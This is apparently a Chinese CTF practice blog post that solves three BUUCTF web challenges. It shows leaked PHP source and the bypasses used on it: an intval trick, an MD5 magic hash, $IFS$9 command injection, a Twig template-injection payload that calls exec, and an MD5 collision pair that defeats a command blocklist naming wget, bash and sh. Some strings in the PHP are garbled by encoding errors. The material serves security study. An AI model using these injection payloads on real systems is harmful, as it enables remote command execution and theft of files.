本文主要是介绍[BT]BUUCTF刷题第15天(4.11),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
第15天(共3题)
Web
[WUSTCTF2020]朴实无华
打开网站没有发现可用信息,根据其他人题解了解到网站标题带有bot字样,因此尝试查看robots.txt文件
发现新的文件
User-agent: *
Disallow: /fAke_f1agggg.php
访问发现并无flag
但此时通过Chrome的网络选项发现了Look_at_me
,信息为/fl4g.php
,访问该文件
网站显示泄露源代码
接下来就是进行代码审计了:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";}else{die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");}
}else{die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";elsedie("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{die("鍘婚潪娲插惂");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";system($get_flag);}else{die("蹇埌闈炴床浜�");}
}else{die("鍘婚潪娲插惂");
}
?>
通过分析代码,为了得到flag,需要通过以下条件:
if(intval($num) < 2020 && intval($num + 1) > 2021)
//intval('2e4'); PHP会将其转为2
//intval('2e4' + 1); PHP算出来得20001if ($md5==md5($md5))
//意思是值本身等于该值的MD5值,使用0e215962017(MD5:0e291242476940776845150308577824),PHP使用科学计数法认为两个都等于0if(!strstr($get_flag," "))
//使用$IFS$9str_ireplace("cat", "wctf2020", $get_flag);
//使用tac命令
接下来构造URL:?num=2e4&md5=0e215962017&get_flag=ls
发现fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
构造URL访问:?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
成功拿到flag
[BJDCTF2020]Cookie is so stable
打开网站发现两个网页:Flag
和Hint
Flag
网页是一个登录界面:
Hint
网页没有包含可用信息
但是通过查看源代码发现了提示信息:<!-- Why not take a closer look at cookies? -->
提示我们要注意cookies
那么这里尝试在Flag
网页输入admin
作为Username
并进行抓包
成功登录,但是这里回显的是我们给的Username,考虑到SSTI注入
,尝试用a
作为用户名
回显a
说明存在SSTI注入,并且尝试{{7*7}}
来确定是哪个模板的SSTI注入
返回49
,说明是Twig模板,如果返回7777777
,则说明是Jinia2模板
使用常用Payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
注意使用admin
时的Cookie
[安洵杯 2019]easy_web
打开网站发现URL后面有index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
将TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
进行两次Base64解码(因为第一次解码后的结果也像Base64编码的数据)后得到3535352e706e67
进行十六进制转换
这里的应该就是图片的名字,既然通过img
参数可以查看555.png
的内容,那是不是也可以查看index.php
的内容呢?将index.php
这个字符串先进行一次十六进制转换,再进行两次Base64编码得到:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
构造URL:?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
将其进行Base64解码:
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}
?>
为了得到flag,这里只用考虑
if(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|
sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|
\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))
//过滤了很多,但是没有过滤\,所以例如cat可以使用ca\t进行绕过,当然也可以利用其他命令
//例如dir 对应 ls;sort 对应 catif ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
//由于这里有(string),是字符串值比较,不能用数组绕过,只能用Hex形式的两个字符串进行绕过
/*例如:
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
和
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2*/
接下来就是进行传参了,注意这道题的POST不能用Hackbar进行传递,因为它会解析一次我们传递的a
和b
,导致无效,而使用BP传POST方法的参数时需要先右键更换请求方式
传递后发现得到目录
构造?cmd=sort%20/flag
读取flag
这篇关于[BT]BUUCTF刷题第15天(4.11)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!